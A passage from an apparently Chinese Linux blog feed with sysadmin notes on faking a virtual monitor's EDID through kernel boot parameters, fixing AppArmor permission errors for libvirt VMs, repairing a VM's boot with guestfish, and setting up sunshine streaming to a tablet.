&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo mkdir -p &amp;#x2F;lib&amp;#x2F;firmware&amp;#x2F;edid&amp;#x2F;
sudo cp edid.bin &amp;#x2F;lib&amp;#x2F;firmware&amp;#x2F;edid&amp;#x2F;virtual-edid.bin
# 更新 initramfs（Ubuntu&amp;#x2F;Debian）
sudo update-initramfs -u 
# CentOS&amp;#x2F;RHEL&amp;#x2F;Fedora
sudo dracut --force
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;tian-jia-nei-he-qi-dong-can-shu-yong-jiu-sheng-xiao&quot;&gt;添加内核启动参数（永久生效）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 编辑 GRUB 配置
sudo nano &amp;#x2F;etc&amp;#x2F;default&amp;#x2F;grub
RUB_CMDLINE_LINUX=&amp;quot;... drm_kms_helper.edid_firmware=edid&amp;#x2F;virtual-edid.bin video=Virtual-1:1920x1080@60&amp;quot;
# 更新 GRUB
sudo update-grub   # Debian&amp;#x2F;Ubuntu
sudo grub2-mkconfig -o &amp;#x2F;boot&amp;#x2F;grub2&amp;#x2F;grub.cfg  # RHEL
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;zhi-jie-shi-yong-dpwu-li-xian-shi-qi-de-edid&quot;&gt;直接使用dp物理显示器的edid&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo cat &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;drm&amp;#x2F;card0-DP-1&amp;#x2F;edid &amp;gt; &amp;#x2F;tmp&amp;#x2F;dp-edid.bin
# 验证内容（应看到显示器型号）
edid-decode &amp;#x2F;tmp&amp;#x2F;dp-edid.bin | grep -E &amp;quot;Manufacturer|Model|Name&amp;quot;
sudo mkdir -p &amp;#x2F;lib&amp;#x2F;firmware&amp;#x2F;edid&amp;#x2F;
# 复制 EDID（命名为 hdmi-edid.bin，清晰表明用途）
sudo cp &amp;#x2F;tmp&amp;#x2F;dp-edid.bin &amp;#x2F;lib&amp;#x2F;firmware&amp;#x2F;edid&amp;#x2F;hdmi-edid.bin
# 更新 initramfs（确保开机加载）
sudo update-initramfs -u   # Debian&amp;#x2F;Ubuntu
sudo dracut --force        # RHEL&amp;#x2F;Fedora

# 编辑 GRUB
sudo nano &amp;#x2F;etc&amp;#x2F;default&amp;#x2F;grub
GRUB_CMDLINE_LINUX=&amp;quot;... drm_kms_helper.edid_firmware=HDMI-A-1:edid&amp;#x2F;hdmi-edid.bin video=HDMI-A-1:1920x1080@60&amp;quot;
# drm.edid_firmware=HDMI-A-1:edid&amp;#x2F;HDMI-A-1-dp-edid.bin,HDMI-A-2:edid&amp;#x2F;HDMI-A-1-dp-edid.bin
# HDMI-A-1：目标连接器名（必须与 &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;drm&amp;#x2F; 下的名称一致）
# edid&amp;#x2F;hdmi-edid.bin：相对于 &amp;#x2F;lib&amp;#x2F;firmware&amp;#x2F; 的路径
# 💡 你有两个 HDMI（HDMI-A-1, HDMI-A-2），选一个未使用的（如 HDMI-A-2）避免冲突
sudo update-grub

dmesg | grep -E &amp;quot;edid|drm_kms_helper|HDMI-A-2&amp;quot;
lsinitramfs &amp;#x2F;boot&amp;#x2F;initrd.img-$(uname -r) | grep hdmi-edid.bin || true
sudo update-initramfs -u -k all
sudo update-initramfs -u -k $(uname -r)

# !!!!! 5.12 以上的内核，参数已经变为了drm.edid_firmware
drm.edid_firmware=HDMI-A-2:edid&amp;#x2F;hdmi-edid.bin video=HDMI-A-2:2560x1440@120e
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;pai-cha-wei-shen-me-fen-bian-lu-da-bu-dao-edidzhong-de-pei-zhi&quot;&gt;排查为什么分辨率达不到edid中的配置&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 安装工具
sudo apt install libdrm-tests
# 列出所有 connector 及 mode
sudo modetest -M i915 | grep -A 20 &amp;quot;HDMI-A-2&amp;quot;

# 你的 EDID 中 DTD 未设 preferred bit → GNOME 可能忽略它。
git clone https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;akatrevorjay&amp;#x2F;edid-generator
cd edid-generator
# 关键：加 --preferred 和 --cvt-rb
.&amp;#x2F;edid-generator.py \
  --name &amp;quot;VIRT-2K&amp;quot; \
  --width 2560 --height 1440 --refresh 120 \
  --timing &amp;quot;2560 2608 2640 2720 1440 1443 1448 1545 +hsync -vsync&amp;quot; \
  --cvt-rb \          # 使用 reduced blanking（更省带宽）
  --preferred \       # 设为 preferred timing！
  --output &amp;#x2F;lib&amp;#x2F;firmware&amp;#x2F;edid&amp;#x2F;hdmi-edid.bin
sudo update-initramfs -u
# --preferred 让 DRM&amp;#x2F;GNOME 优先选用该 mode
# --cvt-rb 降低 pixel clock（从 497.75 → ~399 MHz），提高兼容性
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;fireware-mei-you-bei-da-bao-jin-initrdzhong&quot;&gt;fireware 没有被打包金initrd中&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo tee &amp;#x2F;etc&amp;#x2F;initramfs-tools&amp;#x2F;hooks&amp;#x2F;zzz_edid_inject &amp;lt;&amp;lt;&amp;#x27;EOF&amp;#x27;
#!&amp;#x2F;bin&amp;#x2F;sh
PREREQ=&amp;quot;&amp;quot;
prereqs() { echo &amp;quot;$PREREQ&amp;quot;; }
case &amp;quot;$1&amp;quot; in
    prereqs) prereqs; exit 0 ;;
esac
. &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;initramfs-tools&amp;#x2F;hook-functions

# 创建 firmware 目录（initramfs 中路径是 lib&amp;#x2F;firmware&amp;#x2F;...）
mkdir -p &amp;quot;${DESTDIR}&amp;#x2F;lib&amp;#x2F;firmware&amp;#x2F;edid&amp;quot;
# 复制文件（必须用 copy_file，不是 cp！）
copy_file &amp;#x2F;lib&amp;#x2F;firmware&amp;#x2F;edid&amp;#x2F;hdmi-edid.bin &amp;#x2F;lib&amp;#x2F;firmware&amp;#x2F;edid&amp;#x2F;hdmi-edid.bin
EOF
# 赋予执行权限（必须！）
sudo chmod +x &amp;#x2F;etc&amp;#x2F;initramfs-tools&amp;#x2F;hooks&amp;#x2F;zzz_edid_inject

sudo update-initramfs -c -k $(uname -r)
lsinitramfs &amp;#x2F;boot&amp;#x2F;initrd.img-$(uname -r) | grep -i &amp;#x27;edid&amp;#x2F;hdmi-edid&amp;#x27;

# 手动解压验证
mkdir &amp;#x2F;tmp&amp;#x2F;initrd &amp;amp;&amp;amp; cd &amp;#x2F;tmp&amp;#x2F;initrd
zcat &amp;#x2F;boot&amp;#x2F;initrd.img-$(uname -r) | cpio -id 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null
find . -name &amp;quot;*hdmi-edid*&amp;quot; -type f
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;edid-firmware-he-video-can-shu-han-yi&quot;&gt;edid_firmware 和video 参数含义&lt;&#x2F;h2&gt;
&lt;p&gt;这两个内核参数是独立的，并且用于不同的目的，但都与显示器的配置有关。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;drm_kms_helper.edid_firmware=...
&lt;ul&gt;
&lt;li&gt;欺骗内核：强制加载一个特定的 EDID 文件来定义显示器的功能（如支持的分辨率、色彩空间等）。&lt;&#x2F;li&gt;
&lt;li&gt;独立于 video 参数。用于模拟硬件报告的功能。&lt;&#x2F;li&gt;
&lt;li&gt;解决显示器 EDID 报告错误、模拟 4K 分辨率或模拟特定显示器功能。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;video=...
&lt;ul&gt;
&lt;li&gt;强制输出：强制激活一个特定的连接器（Connector）并设置其模式（分辨率和刷新率）。&lt;&#x2F;li&gt;
&lt;li&gt;独立于 edid_firmware 参数。用于强制使能输出。&lt;&#x2F;li&gt;
&lt;li&gt;解决无头（headless）系统无法识别显示器、强制启用休眠后未恢复的接口。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;它们是相互独立的。您可以单独使用其中一个，也可以同时使用。&lt;&#x2F;li&gt;
&lt;li&gt;如果您只是想启动一个虚拟显示器： 仅使用 video=HDMI-A-2:1920x1080@60e 通常就足够了。&lt;&#x2F;li&gt;
&lt;li&gt;如果您需要更复杂的显示器功能模拟： 您可能需要同时使用这两个参数。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;can-shu-ming-cheng&quot;&gt;参数名称&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;这里的 HDMI-A-2 必须与您的 Linux 系统在 &#x2F;sys&#x2F;class&#x2F;drm&#x2F;*&#x2F;status 中报告的逻辑接口名称完全一致。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;逻辑名称 (HDMI-A-1, HDMI-A-2) 不一定对应您的显卡背后的物理插槽编号。它只是 GPU 驱动程序报告的内部通道名称。
民用主板一般不会将所有的逻辑接口都配置物理接口(成本考虑)&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果目标是模拟一个虚拟显示器（无头模式）： 您应该选择一个 当前没有物理显示器连接 且 状态显示为 disconnected 的接口名称（例如 HDMI-A-2）。这样，内核就会认为您有一个显示器连接在 HDMI-A-2 上，并使用您指定的参数。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果目标是修复一个已连接的显示器的问题： 您应该选择该显示器实际连接的、状态显示为 connected 的那个接口名称（例如 HDMI-A-1）。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;video=HDMI-A-2:1920x1080@60e&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;video=： 告诉内核加载视频模式。&lt;&#x2F;li&gt;
&lt;li&gt;HDMI-A-2： 目标连接器名称。&lt;&#x2F;li&gt;
&lt;li&gt;1920x1080： 要设置的分辨率。&lt;&#x2F;li&gt;
&lt;li&gt;@60： 要设置的刷新率（60 Hz）。&lt;&#x2F;li&gt;
&lt;li&gt;e (可选)： 重要，表示 强制启用 (enable)。当连接器处于 disconnected 状态时，添加 e 可以强制驱动程序尝试启用它，非常适合构造虚拟显示器。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;drm_kms_helper.edid_firmware=HDMI-A-2:edid&#x2F;1920x1080.bin&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;drm_kms_helper.edid_firmware=： 告诉内核覆盖 EDID 报告。&lt;&#x2F;li&gt;
&lt;li&gt;HDMI-A-2： 目标连接器名称。&lt;&#x2F;li&gt;
&lt;li&gt;edid&#x2F;1920x1080.bin： EDID 文件路径。您需要手动将一个有效的 EDID 二进制文件放置在 &#x2F;lib&#x2F;firmware&#x2F;edid&#x2F; 目录下。例如，您可以从一台工作正常的显示器上获取 EDID，或者使用工具生成一个。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;yi-lai-guan-xi&quot;&gt;依赖关系&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;drm_kms_helper.edid_firmware=HDMI-A-2:edid&#x2F;xxx.bin
&lt;ul&gt;
&lt;li&gt;阶段1：连接器探测, 将指定 EDID,注入到连接器的 edid 文件中，使内核认为“此接口接了显示器”&lt;&#x2F;li&gt;
&lt;li&gt;❌ 不依赖 video= ；即使没 video=，&#x2F;sys&#x2F;class&#x2F;drm&#x2F;card0-HDMI-A-2&#x2F;status 也会变成 connected&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;video=HDMI-A-2:1920x1080@60
&lt;ul&gt;
&lt;li&gt;阶段2：模式设置,强制激活该连接器的特定显示模式,（即使 EDID 中没有此模式）&lt;&#x2F;li&gt;
&lt;li&gt;✅ 依赖连接器 connected（否则无效）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;zi-ding-yi-edid-sheng-cheng&quot;&gt;自定义 EDID 生成&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;fang-fa-yong-cvt-parse-edid-edid-generator&quot;&gt;方法：用 cvt + parse-edid + edid-generator&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cvt 2540 1440 120
# 输出类似：
# Modeline &amp;quot;2540x1440_120.00&amp;quot;  852.75  2540 2728 2992 3472  1440 1443 1453 1538 -hsync +vsync
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;用工具生成 EDID：
推荐工具：https:&#x2F;&#x2F;github.com&#x2F;akatrevorjay&#x2F;edid-generator&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git clone https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;akatrevorjay&amp;#x2F;edid-generator
cd edid-generator
.&amp;#x2F;edid-generator.py --name &amp;quot;VIRT-MON&amp;quot; --width 2540 --height 1440 --refresh 120 --timing &amp;quot;2540 2728 2992 3472 1440 1443 1453 1538 +hsync +vsync&amp;quot; --output hdmi-edid.bin

# 验证：
edid-decode hdmi-edid.bin | grep -A5 &amp;quot;Detailed&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>apparmor调试 启动虚拟机失败排查</title>
        <published>2025-11-22T19:48:07+08:00</published>
        <updated>2025-11-22T19:48:07+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/apparmor调试 启动虚拟机失败排查/"/>
        <id>https://vercel.juzhong.asia/2025/11/apparmor调试 启动虚拟机失败排查/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/apparmor调试 启动虚拟机失败排查/">&lt;h1 id=&quot;virsh-qi-dong-xu-ni-ji-bao-cuo&quot;&gt;virsh 启动虚拟机报错&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo virsh start 107-debian12
error: 启动域 &amp;#x27;107-debian12&amp;#x27; 失败
error: 内部错误：连接监控的过程中进程退出: 2025-11-22T11:42:17.483457Z qemu-system-x86_64: -blockdev {&amp;quot;driver&amp;quot;:&amp;quot;file&amp;quot;,&amp;quot;filename&amp;quot;:&amp;quot;&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;107&amp;#x2F;vm-107-disk-1.qcow2&amp;quot;,&amp;quot;node-name&amp;quot;:&amp;quot;libvirt-2-storage&amp;quot;,&amp;quot;auto-read-only&amp;quot;:true,&amp;quot;discard&amp;quot;:&amp;quot;unmap&amp;quot;}: Could not open &amp;#x27;&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;107&amp;#x2F;vm-107-disk-1.qcow2&amp;#x27;: Permission denied
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;cha-kan-apparmorde-pei-zhi-he-zhuang-tai&quot;&gt;查看apparmor的配置和状态&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# AppArmor 策略由 内核模块 (apparmor.ko) 强制执行
# apparmor.service 只负责加载&amp;#x2F;卸载 profile
# aa-teardown 或 apparmor_parser -R 才能移除策略
# 手动 systemctl stop apparmor 不 unload 内核模块 → 残留策略继续生效
sudo systemctl enable --now apparmor.service
sudo systemctl reload libvirtd

sudo dmesg | grep -i &amp;quot;apparmor\|denied&amp;quot; | tail -5
sudo journalctl -k --since &amp;quot;10 minutes ago&amp;quot; | grep -i denied

# 临时禁用 AppArmor（仅测试用）卸载所有 profile（立即解除限制）
sudo aa-teardown
# 禁用内核模块（彻底关闭）
sudo systemctl stop apparmor
sudo rmmod apparmor   # 若报 busy，先 aa-teardown

# 手动扩展 libvirt AppArmor 策略（精准修复）
# 编辑全局 libvirt 模板
sudo nano &amp;#x2F;etc&amp;#x2F;apparmor.d&amp;#x2F;abstractions&amp;#x2F;libvirt-qemu
# Allow access to custom image directories
&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;107&amp;#x2F;** rwk,
# rwk = 读+写+加锁（主磁盘需要）

# 重载策略
sudo apparmor_parser -r &amp;#x2F;etc&amp;#x2F;apparmor.d&amp;#x2F;abstractions&amp;#x2F;libvirt-*

# 确认 AppArmor 真正关闭（若选方案 2）
sudo aa-status | grep &amp;quot;apparmor module&amp;quot;
# 检查是否还有 DENIED
sudo dmesg -T | grep -i &amp;quot;denied.*qcow2&amp;quot;
# 临时解决方案：禁用特定配置文件
sudo aa-complain &amp;#x2F;etc&amp;#x2F;apparmor.d&amp;#x2F;libvirt-f681fad3-a70e-44c7-b91b-98a111906d5a
sudo aa-disable &amp;#x2F;etc&amp;#x2F;apparmor.d&amp;#x2F;libvirt-f681fad3-a70e-44c7-b91b-98a111906d5a
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>qemu-img 管理虚拟机硬盘</title>
        <published>2025-11-22T11:21:09+08:00</published>
        <updated>2026-10-09T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/11/qemu-img 管理虚拟机硬盘/"/>
        <id>https://vercel.juzhong.asia/2025/11/qemu-img 管理虚拟机硬盘/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/11/qemu-img 管理虚拟机硬盘/">&lt;blockquote&gt;
&lt;p&gt;说明：本文原有的&quot;快照链 &#x2F; 快照合并 &#x2F; qemu-img 合并&quot;等章节已整理合并进《&lt;a href=&quot;&#x2F;2026&#x2F;10&#x2F;libvirt-external-snapshot-delete&#x2F;&quot;&gt;libvirt 外部快照删除：从 QCOW2 链到 AppArmor 权限陷阱&lt;&#x2F;a&gt;》；现仅保留启动修复与剪切板共享部分供追溯。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;qi-dong-shi-bai-hou-xiu-fu&quot;&gt;启动失败后修复&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;zai-su-zhu-ji-shang-gua-zai-xin-jing-xiang-geng-xin-fstab-zhong-jian-initramfs&quot;&gt;在宿主机上挂载新镜像，更新 fstab + 重建 initramfs&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 安装必要工具（如未安装）
sudo apt install libguestfs-tools   # Debian&amp;#x2F;Ubuntu
# 或 yum install libguestfs-tools   # RHEL&amp;#x2F;CentOS
# 使用 guestfish 挂载并检查&amp;#x2F;修复
sudo guestfish --rw -a &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;107&amp;#x2F;vm-107-disk-0-standalone.qcow2
&amp;gt; run
&amp;gt; list-filesystems
&amp;gt; mount &amp;#x2F;dev&amp;#x2F;sda1 &amp;#x2F;        # 假设 &amp;#x2F; 是 sda1（根据你的分区调整！）
&amp;gt; mount &amp;#x2F;dev&amp;#x2F;sdb1 &amp;#x2F;mnt     # 如果 &amp;#x2F;home 或其他在 sdb1，按需挂
# 查看当前 UUID（关键！）
&amp;gt; sh &amp;quot;blkid&amp;quot;
# ✅ 更新 fstab 中的 UUID 为新值
&amp;gt; sh &amp;quot;sed -i &amp;#x27;s&amp;#x2F;old-xxxx-yyyy-zzzz&amp;#x2F;new-1111-2222-3333&amp;#x2F;g&amp;#x27; &amp;#x2F;etc&amp;#x2F;fstab&amp;quot;
# —— 如果是 Debian&amp;#x2F;Ubuntu：
&amp;gt; sh &amp;quot;chroot &amp;#x2F; update-initramfs -u -k all&amp;quot;
# 退出
&amp;gt; exit
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;lin-shi-rao-guo-jin-yong-yu-zhen-duan-huo-jin-ji-hui-fu-zai-grub-qi-dong-jie-mian-e-edit&quot;&gt;临时绕过（仅用于诊断或紧急恢复） 在 GRUB 启动界面： e(edit)&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;添加启动参数  init=&amp;#x2F;bin&amp;#x2F;bash

mount -o remount,rw &amp;#x2F;
cat &amp;#x2F;etc&amp;#x2F;fstab
lsblk
blkid
mount -a

exec &amp;#x2F;sbin&amp;#x2F;init
systemctl set-default graphical
update-grub
reboot
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;qi-dong-xu-ni-ji-de-jian-qie-ban-gong-xiang&quot;&gt;启动虚拟机的剪切板共享&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install spice-vdagent
sudo virsh dumpxml debian12 | grep graphics
sudo virsh domdisplay debian12
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux上利用sunshine串流和虚拟显示器实现副屏扩展</title>
        <published>2025-11-22T00:00:00+00:00</published>
        <updated>2025-11-22T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux上利用sunshine串流和虚拟显示器实现副屏扩展/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux上利用sunshine串流和虚拟显示器实现副屏扩展/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux上利用sunshine串流和虚拟显示器实现副屏扩展/">&lt;h2 id=&quot;linuxshang-li-yong-sunshinechuan-liu-he-xu-ni-xian-shi-qi-shi-xian-fu-ping-kuo-zhan&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;发布于 2025-03-28 01:30&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;twinblade-i&#x2F;p&#x2F;18797195&quot;&gt;Linux上利用sunshine串流和虚拟显示器实现副屏扩展&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;场景：Linux + Wayland，尝试将空闲的android平板作为扩展显示屏&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;1-fang-fa&quot;&gt;1. 方法&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;根据 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.w568w.eu.org&#x2F;spacedesk-on-linux.html&quot;&gt;https:&#x2F;&#x2F;www.w568w.eu.org&#x2F;spacedesk-on-linux.html&lt;&#x2F;a&gt; 中的描述，利用 sunshine + moonlight 串流以及虚拟显示器欺骗实现副屏扩展&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;1-1-she-zhi-xu-ni-xian-shi-qi&quot;&gt;1.1 设置虚拟显示器&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;查看当前系统记录的显示器设备接口的连接情况，使用命令&lt;code&gt;for p in &#x2F;sys&#x2F;class&#x2F;drm&#x2F;*&#x2F;status; do con=${p%&#x2F;status}; echo -n &quot;${con#*&#x2F;card?-}: &quot;; cat $p; done&lt;&#x2F;code&gt;；选取一个标记为&lt;code&gt;disconnected&lt;&#x2F;code&gt;的空闲接口（如&lt;code&gt;HDMI-A-1&lt;&#x2F;code&gt;）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;按需获取一个 EDID 文件，注意选取的 EDID 要支持上一步选择的空闲端口的类型&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;可用的 EDID 文件仓库&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;git.linuxtv.org&#x2F;v4l-utils.git&#x2F;tree&#x2F;utils&#x2F;edid-decode&#x2F;data&quot;&gt;https:&#x2F;&#x2F;git.linuxtv.org&#x2F;v4l-utils.git&#x2F;tree&#x2F;utils&#x2F;edid-decode&#x2F;data&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;linuxhw&#x2F;EDID&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;linuxhw&#x2F;EDID&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对于 HDMI 接口，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;linuxhw&#x2F;EDID&#x2F;blob&#x2F;master&#x2F;Digital&#x2F;AOC&#x2F;AOC0CCD&#x2F;82A0A0F41AA1&quot;&gt;AOC model3277型号显示器的EDID文件&lt;&#x2F;a&gt;中可用的分辨率、刷新频率配置选项比较全面&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;EDID 文件内容也可以使用 cur、wxedid 等工具自行修改，比较麻烦&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;将获取的 EDID 文件放置在&lt;code&gt;&#x2F;usr&#x2F;lib&#x2F;firmware&#x2F;edid&#x2F;&lt;&#x2F;code&gt;目录下（如果没有的话创建）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;编辑&lt;code&gt;&#x2F;etc&#x2F;default&#x2F;grub&lt;&#x2F;code&gt;文件，在&lt;code&gt;GRUB_CMDLINE_LINUX_DEFAULT=&lt;&#x2F;code&gt;中添加&lt;code&gt;drm.edid_firmware=HDMI-A-1:edid&#x2F;&amp;lt;EDID&amp;gt; video=HDMI-A-1:e&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;其中``为上一步放置在&lt;code&gt;&#x2F;usr&#x2F;lib&#x2F;firmware&#x2F;edid&#x2F;&lt;&#x2F;code&gt;目录下的 EDID 文件名（文件名没有限制，可以重命名），&lt;code&gt;HDMI-A-1&lt;&#x2F;code&gt;位置为选择的空闲接口&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;执行&lt;code&gt;sudo update-grub&lt;&#x2F;code&gt;更新grub配置，然后重启系统使更改生效&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;重启后检查系统设置界面，如果设置中认为连接了一个新的显示器，证明虚拟显示器配置成功&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;在 Wayland 下，如果不需要使用虚拟显示器可以直接在设置中关闭&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;1-2-sunshine-moonlightan-zhuang-yu-pei-zhi&quot;&gt;1.2 sunshine + moonlight安装与配置&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;电脑上安装 sunshine，平板上安装 moonlight&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;对于 sunshine，安装后首次进入 WebUI 时会提示创建账户&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;sunshinepei-zhi&quot;&gt;sunshine配置&lt;&#x2F;h3&gt;
&lt;ol&gt;
